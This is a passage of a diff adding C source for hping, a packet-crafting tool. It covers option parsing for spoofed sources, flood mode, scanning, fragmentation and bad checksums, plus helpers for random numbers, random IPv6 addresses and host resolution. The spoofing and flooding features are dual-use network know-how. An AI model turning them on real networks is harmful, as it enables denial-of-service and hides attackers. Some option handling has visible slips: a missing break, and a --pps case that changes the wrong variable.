src_id = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_WIN:
|
||||||
|
src_winsize = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_SPOOF:
|
||||||
|
strlcpy (spoofaddr, ago_optarg, 1024);
|
||||||
|
break;
|
||||||
|
case OPT_FIN:
|
||||||
|
tcp_th_flags |= TH_FIN;
|
||||||
|
break;
|
||||||
|
case OPT_SYN:
|
||||||
|
tcp_th_flags |= TH_SYN;
|
||||||
|
break;
|
||||||
|
case OPT_RST:
|
||||||
|
tcp_th_flags |= TH_RST;
|
||||||
|
break;
|
||||||
|
case OPT_PUSH:
|
||||||
|
tcp_th_flags |= TH_PUSH;
|
||||||
|
break;
|
||||||
|
case OPT_ACK:
|
||||||
|
tcp_th_flags |= TH_ACK;
|
||||||
|
break;
|
||||||
|
case OPT_URG:
|
||||||
|
tcp_th_flags |= TH_URG;
|
||||||
|
break;
|
||||||
|
case OPT_XMAS:
|
||||||
|
tcp_th_flags |= TH_X;
|
||||||
|
break;
|
||||||
|
case OPT_YMAS:
|
||||||
|
tcp_th_flags |= TH_Y;
|
||||||
|
break;
|
||||||
|
case OPT_FRAG:
|
||||||
|
opt_fragment = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_MOREFRAG:
|
||||||
|
opt_mf = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_DONTFRAG:
|
||||||
|
opt_df = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_FRAGOFF:
|
||||||
|
ip_frag_offset = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_TCPOFF:
|
||||||
|
src_thoff = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_REL:
|
||||||
|
opt_relid = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_DATA:
|
||||||
|
data_size = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_RAWIP:
|
||||||
|
opt_rawipmode = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_ICMP:
|
||||||
|
opt_icmpmode = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_TS:
|
||||||
|
opt_icmpmode = TRUE;
|
||||||
|
opt_icmptype = 13;
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_ADDR:
|
||||||
|
opt_icmpmode = TRUE;
|
||||||
|
opt_icmptype = 17;
|
||||||
|
break;
|
||||||
|
case OPT_UDP:
|
||||||
|
opt_udpmode = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_SCAN:
|
||||||
|
opt_scanmode = TRUE;
|
||||||
|
opt_scanports = strdup(ago_optarg);
|
||||||
|
break;
|
||||||
|
case OPT_LISTEN:
|
||||||
|
opt_listenmode = TRUE;
|
||||||
|
strlcpy(sign, ago_optarg, 1024);
|
||||||
|
signlen = strlen(ago_optarg);
|
||||||
|
break;
|
||||||
|
case OPT_IPPROTO:
|
||||||
|
raw_ip_protocol = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_ICMPTYPE:
|
||||||
|
opt_icmpmode= TRUE;
|
||||||
|
opt_icmptype = strtol(ago_optarg, NULL, 0);
|
||||||
|
typeset = 1;
|
||||||
|
break;
|
||||||
|
case OPT_ICMPCODE:
|
||||||
|
opt_icmpmode= TRUE;
|
||||||
|
opt_icmpcode = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_BIND:
|
||||||
|
ctrlzbind = BIND_TTL;
|
||||||
|
break;
|
||||||
|
case OPT_UNBIND:
|
||||||
|
ctrlzbind = BIND_NONE;
|
||||||
|
break;
|
||||||
|
case OPT_DEBUG:
|
||||||
|
opt_debug = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_VERBOSE:
|
||||||
|
opt_verbose = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_WINID:
|
||||||
|
opt_winid_order = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_KEEP:
|
||||||
|
opt_keepstill = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_FILE:
|
||||||
|
opt_datafromfile = TRUE;
|
||||||
|
strlcpy(datafilename, ago_optarg, 1024);
|
||||||
|
break;
|
||||||
|
case OPT_DUMP:
|
||||||
|
opt_hexdump = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_PRINT:
|
||||||
|
opt_contdump = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_SIGN:
|
||||||
|
opt_sign = TRUE;
|
||||||
|
strlcpy(sign, ago_optarg, 1024);
|
||||||
|
signlen = strlen(ago_optarg);
|
||||||
|
break;
|
||||||
|
case OPT_SAFE:
|
||||||
|
opt_safe = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_END:
|
||||||
|
opt_end = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_TRACEROUTE:
|
||||||
|
opt_traceroute = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_TOS:
|
||||||
|
if (!strcmp(ago_optarg, "help"))
|
||||||
|
tos_help();
|
||||||
|
else
|
||||||
|
{
|
||||||
|
static unsigned int tos_tmp = 0;
|
||||||
|
|
||||||
|
sscanf(ago_optarg, "%2x", &tos_tmp);
|
||||||
|
ip_tos |= tos_tmp; /* OR tos */
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case OPT_MTU:
|
||||||
|
virtual_mtu = strtol(ago_optarg, NULL, 0);
|
||||||
|
opt_fragment = TRUE;
|
||||||
|
if(virtual_mtu > 65535) {
|
||||||
|
virtual_mtu = 65535;
|
||||||
|
printf("Specified MTU too high, "
|
||||||
|
"fixed to 65535.\n");
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case OPT_SEQNUM:
|
||||||
|
opt_seqnum = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_BADCKSUM:
|
||||||
|
opt_badcksum = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_SETSEQ:
|
||||||
|
set_seqnum = TRUE;
|
||||||
|
tcp_seqnum = strtoul(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_SETACK:
|
||||||
|
set_ack = TRUE;
|
||||||
|
tcp_ack = strtoul(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_RROUTE:
|
||||||
|
opt_rroute = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_HELP:
|
||||||
|
icmp_help(); /* ICMP options help */
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_IPVER:
|
||||||
|
icmp_ip_version = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_IPHLEN:
|
||||||
|
icmp_ip_ihl = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_IPLEN:
|
||||||
|
icmp_ip_tot_len = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_IPID:
|
||||||
|
icmp_ip_id = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_IPPROTO:
|
||||||
|
icmp_ip_protocol = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_IPSRC:
|
||||||
|
strlcpy (icmp_ip_srcip, ago_optarg, 1024);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_IPDST:
|
||||||
|
strlcpy (icmp_ip_dstip, ago_optarg, 1024);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_GW:
|
||||||
|
strlcpy (icmp_gwip, ago_optarg, 1024);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_SRCPORT:
|
||||||
|
icmp_ip_srcport = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_DSTPORT:
|
||||||
|
icmp_ip_dstport = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_FORCE_ICMP:
|
||||||
|
opt_force_icmp = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_ICMP_CKSUM:
|
||||||
|
icmp_cksum = strtol(ago_optarg, NULL, 0);
|
||||||
|
break;
|
||||||
|
case OPT_TCPEXITCODE:
|
||||||
|
opt_tcpexitcode = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_FAST:
|
||||||
|
delay_changed = 1;
|
||||||
|
opt_waitinusec = TRUE;
|
||||||
|
usec_delay.it_value.tv_sec =
|
||||||
|
usec_delay.it_interval.tv_sec = 0;
|
||||||
|
usec_delay.it_value.tv_usec =
|
||||||
|
usec_delay.it_interval.tv_usec = 100000;
|
||||||
|
break;
|
||||||
|
case OPT_FASTER:
|
||||||
|
delay_changed = 1;
|
||||||
|
opt_waitinusec = TRUE;
|
||||||
|
usec_delay.it_value.tv_sec =
|
||||||
|
usec_delay.it_interval.tv_sec = 0;
|
||||||
|
usec_delay.it_value.tv_usec =
|
||||||
|
usec_delay.it_interval.tv_usec = 1;
|
||||||
|
case OPT_TR_KEEP_TTL:
|
||||||
|
opt_tr_keep_ttl = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_TCP_TIMESTAMP:
|
||||||
|
opt_tcp_timestamp = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_TR_STOP:
|
||||||
|
opt_tr_stop = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_TR_NO_RTT:
|
||||||
|
opt_tr_no_rtt = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_RAND_DEST:
|
||||||
|
opt_rand_dest = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_RAND_SOURCE:
|
||||||
|
opt_rand_source = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_LSRR:
|
||||||
|
opt_lsrr = TRUE;
|
||||||
|
parse_route(lsr, &lsr_length, ago_optarg);
|
||||||
|
if (lsr[0])
|
||||||
|
printf("Warning: erasing previously given "
|
||||||
|
"loose source route");
|
||||||
|
lsr[0] = 131;
|
||||||
|
break;
|
||||||
|
case OPT_SSRR:
|
||||||
|
opt_ssrr = TRUE;
|
||||||
|
parse_route(ssr, &ssr_length, ago_optarg);
|
||||||
|
if (ssr[0])
|
||||||
|
printf("Warning: erasing previously given "
|
||||||
|
"strong source route");
|
||||||
|
ssr[0] = 137;
|
||||||
|
break;
|
||||||
|
case OPT_ROUTE_HELP:
|
||||||
|
route_help();
|
||||||
|
break;
|
||||||
|
case OPT_APD_SEND:
|
||||||
|
hping_ars_send(ago_optarg);
|
||||||
|
break;
|
||||||
|
case OPT_FLOOD:
|
||||||
|
opt_flood = TRUE;
|
||||||
|
break;
|
||||||
|
case OPT_BPS:
|
||||||
|
opt_bps = strtol(ago_optarg, &mult, 0);
|
||||||
|
switch(*mult)
|
||||||
|
{
|
||||||
|
case 'k':
|
||||||
|
case 'K':
|
||||||
|
opt_bps *= 1000;
|
||||||
|
break;
|
||||||
|
case 'm':
|
||||||
|
case 'M':
|
||||||
|
opt_bps *= 1000000;
|
||||||
|
break;
|
||||||
|
case 'g':
|
||||||
|
case 'G':
|
||||||
|
opt_bps *= 1000000000;
|
||||||
|
break;
|
||||||
|
case 0:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("invalid character in --bps argument: `%c'\n", *mult);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
opt_bps /= 8;
|
||||||
|
break;
|
||||||
|
case OPT_PPS:
|
||||||
|
opt_pps = strtol(ago_optarg, &mult, 0);
|
||||||
|
switch(*mult)
|
||||||
|
{
|
||||||
|
case 'k':
|
||||||
|
case 'K':
|
||||||
|
opt_pps *= 1000;
|
||||||
|
break;
|
||||||
|
case 'm':
|
||||||
|
case 'M':
|
||||||
|
opt_pps *= 1000000;
|
||||||
|
break;
|
||||||
|
case 'g':
|
||||||
|
case 'G':
|
||||||
|
opt_bps *= 1000000000;
|
||||||
|
break;
|
||||||
|
case 0:
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("invalid character in --pps argument: `%c'\n", *mult);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case OPT_IPV6:
|
||||||
|
opt_ipv6 = TRUE;
|
||||||
|
opt_af = AF_INET6;
|
||||||
|
break;
|
||||||
|
case OPT_LHS:
|
||||||
|
linkhdr_size = atoi(ago_optarg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(typeset == 0 && opt_icmptype == DEFAULT_ICMP_TYPE && opt_ipv6 == 1)
|
||||||
|
opt_icmptype = ICMP6_ECHO;
|
||||||
|
|
||||||
|
/* missing target host? */
|
||||||
|
if (targethost_set == 0 && opt_listenmode && opt_safe)
|
||||||
|
{
|
||||||
|
printf(
|
||||||
|
"you must specify a target host if you require safe protocol\n"
|
||||||
|
"because hping needs a target for HCMP packets\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (targethost_set == 0 && !opt_listenmode) return -1;
|
||||||
|
|
||||||
|
if (opt_numeric == TRUE) opt_gethost = FALSE;
|
||||||
|
|
||||||
|
/* some error condition */
|
||||||
|
if (data_size+IPHDR_SIZE+TCPHDR_SIZE > 65535) {
|
||||||
|
printf("Option error: sorry, data size must be <= %lu\n",
|
||||||
|
(unsigned long)(65535-IPHDR_SIZE+TCPHDR_SIZE));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (count <= 0 && count != -1) {
|
||||||
|
printf("Option error: count must > 0\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (sending_wait < 0) {
|
||||||
|
printf("Option error: bad timing interval\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (opt_waitinusec == TRUE && usec_delay.it_value.tv_usec < 0)
|
||||||
|
{
|
||||||
|
printf("Option error: bad timing interval\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (opt_datafromfile == TRUE && data_size == 0)
|
||||||
|
{
|
||||||
|
printf("Option error: -E option useless without -d\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (opt_sign && data_size && signlen > data_size)
|
||||||
|
{
|
||||||
|
printf(
|
||||||
|
"Option error: signature (%d bytes) is larger than data size\n"
|
||||||
|
"check -d option, don't specify -d to let hping compute it\n", signlen);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if ((opt_sign || opt_listenmode) && signlen > 1024)
|
||||||
|
{
|
||||||
|
printf("Option error: signature too big\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (opt_safe == TRUE && src_id != -1)
|
||||||
|
{
|
||||||
|
printf("Option error: sorry, you can't set id and "
|
||||||
|
"use safe protocol at some time\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (opt_safe == TRUE && opt_datafromfile == FALSE &&
|
||||||
|
opt_listenmode == FALSE)
|
||||||
|
{
|
||||||
|
printf("Option error: sorry, safe protocol is useless "
|
||||||
|
"without 'data from file' option\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
else if (opt_safe == TRUE && opt_sign == FALSE &&
|
||||||
|
opt_listenmode == FALSE)
|
||||||
|
{
|
||||||
|
printf("Option error: sorry, safe protocol require you "
|
||||||
|
"sign your packets, see --sign | -e option\n");
|
||||||
|
exit(1);
|
||||||
|
} else if (opt_rand_dest == TRUE && ifname[0] == '\0') {
|
||||||
|
printf("Option error: you need to specify an interface "
|
||||||
|
"when the --rand-dest option is enabled\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* dependences */
|
||||||
|
if (opt_safe == TRUE)
|
||||||
|
src_id = 1;
|
||||||
|
|
||||||
|
if (opt_traceroute == TRUE && ctrlzbind == BIND_DPORT)
|
||||||
|
ctrlzbind = BIND_TTL;
|
||||||
|
|
||||||
|
if (opt_traceroute == TRUE && src_ttl_set == 0)
|
||||||
|
src_ttl = DEFAULT_TRACEROUTE_TTL;
|
||||||
|
|
||||||
|
/* set the data size to the signature len if the no data size
|
||||||
|
* was specified */
|
||||||
|
if (opt_sign && !data_size)
|
||||||
|
data_size = signlen;
|
||||||
|
|
||||||
|
/* If scan mode is on, and the -i option was not used,
|
||||||
|
* set the default delay to zero, that's send packets
|
||||||
|
* as fast as possible. */
|
||||||
|
if (opt_scanmode && !delay_changed) {
|
||||||
|
opt_waitinusec = TRUE;
|
||||||
|
usec_delay.it_value.tv_sec =
|
||||||
|
usec_delay.it_interval.tv_sec = 0;
|
||||||
|
usec_delay.it_value.tv_usec =
|
||||||
|
usec_delay.it_interval.tv_usec = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 1;
|
||||||
|
}
|
81
random.c
Normal file
81
random.c
Normal file
@ -0,0 +1,81 @@
|
|||||||
|
/* rc4-based pseudo-random number generator for hping.
|
||||||
|
* Copyright (C) 2003 Salvatore Sanfilippo
|
||||||
|
* This software is released under the GPL license
|
||||||
|
* All rights reserved */
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
u_int32_t hp_rand(void);
|
||||||
|
|
||||||
|
/* The rc4 sbox */
|
||||||
|
static unsigned char rc4_sbox[256];
|
||||||
|
/* This flags is used to initialize the sbox the first time,
|
||||||
|
* without an explicit intialization step outside this file. */
|
||||||
|
static int rc4_seedflag = 0;
|
||||||
|
|
||||||
|
/* Initialize the sbox with pseudo random data */
|
||||||
|
static void hp_rand_init(void)
|
||||||
|
{
|
||||||
|
int i, fd;
|
||||||
|
|
||||||
|
/* Strong sbox initialization */
|
||||||
|
fd = open("/dev/urandom", O_RDONLY);
|
||||||
|
if (fd != -1) {
|
||||||
|
read(fd, rc4_sbox, 256);
|
||||||
|
close(fd);
|
||||||
|
}
|
||||||
|
/* Weaker sbox initialization */
|
||||||
|
for (i = 0; i < 256; i++) {
|
||||||
|
struct timeval tv;
|
||||||
|
gettimeofday(&tv, NULL);
|
||||||
|
if (i&1)
|
||||||
|
rc4_sbox[i] ^= (tv.tv_usec >> (i&0xF)) & 0xFF;
|
||||||
|
else
|
||||||
|
rc4_sbox[i] ^= (tv.tv_sec >> (i&0xF)) & 0xFF;
|
||||||
|
}
|
||||||
|
rc4_seedflag = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if 0
|
||||||
|
/* Re-seed the generator with user-provided bytes. Not used for now. */
|
||||||
|
static void hp_rand_seed(void *seed, size_t len)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
if (len > 256) len = 256;
|
||||||
|
memcpy(rc4_sbox, seed, len);
|
||||||
|
/* discard the first 256 bytes of output after the reseed */
|
||||||
|
for (i = 0; i < 32; i++)
|
||||||
|
(void) hp_rand();
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Generates a 32bit random number using an RC4-like algorithm */
|
||||||
|
u_int32_t hp_rand(void)
|
||||||
|
{
|
||||||
|
u_int32_t r = 0;
|
||||||
|
unsigned char *rc = (unsigned char*) &r;
|
||||||
|
static unsigned int i = 0, j = 0;
|
||||||
|
unsigned int si, sj, x;
|
||||||
|
|
||||||
|
/* initialization, only needed the first time */
|
||||||
|
if (!rc4_seedflag)
|
||||||
|
hp_rand_init();
|
||||||
|
/* generates 4 bytes of pseudo-random data using RC4 */
|
||||||
|
for (x = 0; x < 4; x++) {
|
||||||
|
i = (i+1) & 0xff;
|
||||||
|
si = rc4_sbox[i];
|
||||||
|
j = (j + si) & 0xff;
|
||||||
|
sj = rc4_sbox[j];
|
||||||
|
rc4_sbox[i] = sj;
|
||||||
|
rc4_sbox[j] = si;
|
||||||
|
*rc++ = rc4_sbox[(si+sj)&0xff];
|
||||||
|
}
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
143
random6.c
Normal file
143
random6.c
Normal file
@ -0,0 +1,143 @@
|
|||||||
|
// vim:sw=4:ts=4:et:
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andrei Belov (@defanator on github)
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <inttypes.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
|
||||||
|
/* 16 octets in binary form + dots between octets + trailing zero */
|
||||||
|
#define INET6_ADDRBINSTRLEN ((8 * 16) + (1 * 15) + 1UL)
|
||||||
|
|
||||||
|
#ifndef INET6_ADDRSTRLEN
|
||||||
|
#define INET6_ADDRSTRLEN sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")
|
||||||
|
#endif
|
||||||
|
|
||||||
|
char * sprintb(char *dst, void const * const ptr, size_t const size)
|
||||||
|
{
|
||||||
|
int i, j;
|
||||||
|
char *dp = dst;
|
||||||
|
unsigned char byte;
|
||||||
|
unsigned char *b = (unsigned char*) ptr;
|
||||||
|
|
||||||
|
for (i = size - 1; i >= 0; i--) {
|
||||||
|
for (j = 7; j >= 0; j--) {
|
||||||
|
byte = (b[i] >> j) & 1;
|
||||||
|
*dp++ = byte ? '1' : '0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
*dp = 0x0;
|
||||||
|
return dst;
|
||||||
|
}
|
||||||
|
|
||||||
|
char * sprintb_addr6(char *dst, struct in6_addr *in6) {
|
||||||
|
char *dp = dst;
|
||||||
|
u_char *p = in6->s6_addr;
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for (i = 0; i < 16; i++) {
|
||||||
|
sprintb(dp, &p[i], sizeof(u_char));
|
||||||
|
dp += 8;
|
||||||
|
if (i < 15) *dp++ = '.';
|
||||||
|
}
|
||||||
|
|
||||||
|
return dst;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct in6_addr ipv6_rand(char *net,uint8_t prefixlen)
|
||||||
|
{
|
||||||
|
int i, j, s;
|
||||||
|
uint8_t bits, shift;
|
||||||
|
u_char *addr, *mask;
|
||||||
|
struct in6_addr addr6, mask6,rand6;
|
||||||
|
//char straddr6[INET6_ADDRSTRLEN];
|
||||||
|
//char binaddr6[INET6_ADDRBINSTRLEN];
|
||||||
|
|
||||||
|
char *ip6net = net;
|
||||||
|
|
||||||
|
if (inet_pton(AF_INET6, ip6net, &addr6) < 1) {
|
||||||
|
printf("incorrect IPv6 address/net: \"%s\"\n", ip6net);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
addr = addr6.s6_addr;
|
||||||
|
mask = mask6.s6_addr;
|
||||||
|
shift = prefixlen;
|
||||||
|
bits = 128 - shift;
|
||||||
|
|
||||||
|
for (i = 0; i < 16; i++) {
|
||||||
|
s = (shift > 8) ? 8 : shift;
|
||||||
|
shift -= s;
|
||||||
|
|
||||||
|
mask[i] = (u_char) (0xffu << (8 - s));
|
||||||
|
|
||||||
|
if (addr[i] != (addr[i] & mask[i])) {
|
||||||
|
addr[i] &= mask[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//inet_ntop(AF_INET6, &addr6, straddr6, INET6_ADDRSTRLEN);
|
||||||
|
//printf("network: %s/%d\n", straddr6, prefixlen);
|
||||||
|
|
||||||
|
//inet_ntop(AF_INET6, &mask6, straddr6, INET6_ADDRSTRLEN);
|
||||||
|
//printf("netmask: %s (free bits=%d)\n", straddr6, bits);
|
||||||
|
|
||||||
|
//printf("%s\n", sprintb_addr6(binaddr6, &addr6));
|
||||||
|
//printf("%s\n", sprintb_addr6(binaddr6, &mask6));
|
||||||
|
//printf("----\n");
|
||||||
|
|
||||||
|
srand(((unsigned) getpid() << 16) ^ time(NULL));
|
||||||
|
|
||||||
|
uint32_t rv = rand();
|
||||||
|
int k = 0;
|
||||||
|
|
||||||
|
shift = bits;
|
||||||
|
rand6 = addr6;
|
||||||
|
addr = rand6.s6_addr;
|
||||||
|
|
||||||
|
for (j = 15; j >= 0; j--) {
|
||||||
|
s = (shift > 8) ? 8 : shift;
|
||||||
|
shift -= s;
|
||||||
|
|
||||||
|
addr[j] = addr[j] ^ ((addr[j] ^ rv) & ~mask[j]);
|
||||||
|
|
||||||
|
if (shift == 0) break;
|
||||||
|
|
||||||
|
rv >>= 8;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Note that the MSB of the first octet in random value rv
|
||||||
|
* will always be 0 as RAND_MAX=0x7FFFFFFF, i.e. if we refresh
|
||||||
|
* rv after using all the 4 octets from uint32_t, the leading
|
||||||
|
* bit in octets 4, 8, 12, 16 in generated IPv6 address
|
||||||
|
* will _always_ be 0.
|
||||||
|
*
|
||||||
|
* While it seems legit for e.g. ::ffff:0:0/96 (IPv4-mapped
|
||||||
|
* addresses), there may be a better way of handling this
|
||||||
|
* (e.g. refresh rv after using 3 of 4 octets or reverse
|
||||||
|
* bits in first octet before applying).
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
//if (++k > 2) {
|
||||||
|
if (++k > 3) {
|
||||||
|
rv = rand();
|
||||||
|
k = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//inet_ntop(AF_INET6, &rand6, straddr6, INET6_ADDRSTRLEN);
|
||||||
|
//printf("%s [%s]\n", sprintb_addr6(binaddr6, &rand6), straddr6);
|
||||||
|
|
||||||
|
return rand6;
|
||||||
|
}
|
18
release.h
Normal file
18
release.h
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: release.h$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 16 11:55:49 MET 1999$
|
||||||
|
* $rev: 17$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _RELEASE_H
|
||||||
|
#define _RELEASE_H
|
||||||
|
|
||||||
|
#define RELEASE_VERSION "3.0.0-koszik"
|
||||||
|
#define RELEASE_DATE "Sun Apr 16 07:19:17 CEST 2006"
|
||||||
|
#define CONTACTS "<koszik@atw.hu>"
|
||||||
|
|
||||||
|
#endif /* _RELEASE_H */
|
46
relid.c
Normal file
46
relid.c
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: relid.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 3$
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* FIXME: maybe it's better to avoid division per seq_diff and
|
||||||
|
at least add an option to switch on/off this feature */
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
int relativize_id(int seqnum, int *ip_id)
|
||||||
|
{
|
||||||
|
int seq_diff, backup_id;
|
||||||
|
static int last_seq = 0, last_id = -1;
|
||||||
|
|
||||||
|
backup_id = *ip_id;
|
||||||
|
|
||||||
|
if (last_id == -1) {
|
||||||
|
last_id = *ip_id;
|
||||||
|
last_seq = seqnum;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if ( (seq_diff=(seqnum-last_seq)) > 0)
|
||||||
|
{
|
||||||
|
if (last_id > *ip_id) /* rew */
|
||||||
|
*ip_id = ((65535-last_id)
|
||||||
|
+ *ip_id)/seq_diff;
|
||||||
|
else
|
||||||
|
*ip_id = (*ip_id-last_id)
|
||||||
|
/seq_diff;
|
||||||
|
last_id = backup_id;
|
||||||
|
last_seq = seqnum;
|
||||||
|
return TRUE;
|
||||||
|
} else {
|
||||||
|
out_of_sequence_pkt++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
63
resolve.c
Normal file
63
resolve.c
Normal file
@ -0,0 +1,63 @@
|
|||||||
|
/*
|
||||||
|
* $smu-mark$
|
||||||
|
* $name: resolve.c$
|
||||||
|
* $author: Salvatore Sanfilippo <antirez@invece.org>$
|
||||||
|
* $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$
|
||||||
|
* $license: This software is under GPL version 2 of license$
|
||||||
|
* $date: Fri Nov 5 11:55:49 MET 1999$
|
||||||
|
* $rev: 8$
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <netdb.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
void resolve (struct sockaddr * addr, char *hostname)
|
||||||
|
{
|
||||||
|
struct sockaddr_in *address;
|
||||||
|
struct hostent *host;
|
||||||
|
|
||||||
|
address = (struct sockaddr_in *)addr;
|
||||||
|
|
||||||
|
memset(address, 0, sizeof(struct sockaddr_in));
|
||||||
|
address->sin_family = AF_INET;
|
||||||
|
address->sin_addr.s_addr = inet_addr(hostname);
|
||||||
|
|
||||||
|
if ( (int)address->sin_addr.s_addr == -1) {
|
||||||
|
host = gethostbyname(hostname);
|
||||||
|
